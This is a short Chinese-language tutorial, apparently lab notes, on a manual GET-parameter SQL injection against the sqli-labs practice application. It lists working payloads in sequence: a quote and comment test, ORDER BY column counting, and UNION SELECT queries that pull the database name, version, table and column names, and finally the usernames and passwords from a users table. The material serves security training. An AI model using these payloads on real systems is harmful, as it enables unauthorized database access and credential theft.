一、一个get注入的心里历程
使用的漏洞库是sqli-labs
1、判断参数是否代入数据库查询
?id=1
修改参数?id=2
内容有变化,可以确定是代入数据库查询的。
2、判断是字符型还是数字型,是否属于拼接型
?id=1'
有报错型注入
?id=1'--+
--+是注释的一种,+是空格;可以是--空格加任意字符的方式代替
通过上面可知属于字符型注入,因为有回显,所以可以使用联合查询。
3、联合注入
1)?id=1' order by 3--+
order by 报错就是表示超出列数,不报错就表示未超出列数。
2)爆出显示位
?id=-1'union select 1,2,3--+
可以看出2,3属于显示位,-1是为了让正文查询为空,好让出显示位。
3)获得数据库和版本号
?id=-1'union select 1,database(),version()--+
4)获取security数据库下的表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5)爆列名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6)爆表数据
?id=-1'union select 1,2,group_concat(username,id,password) from users--+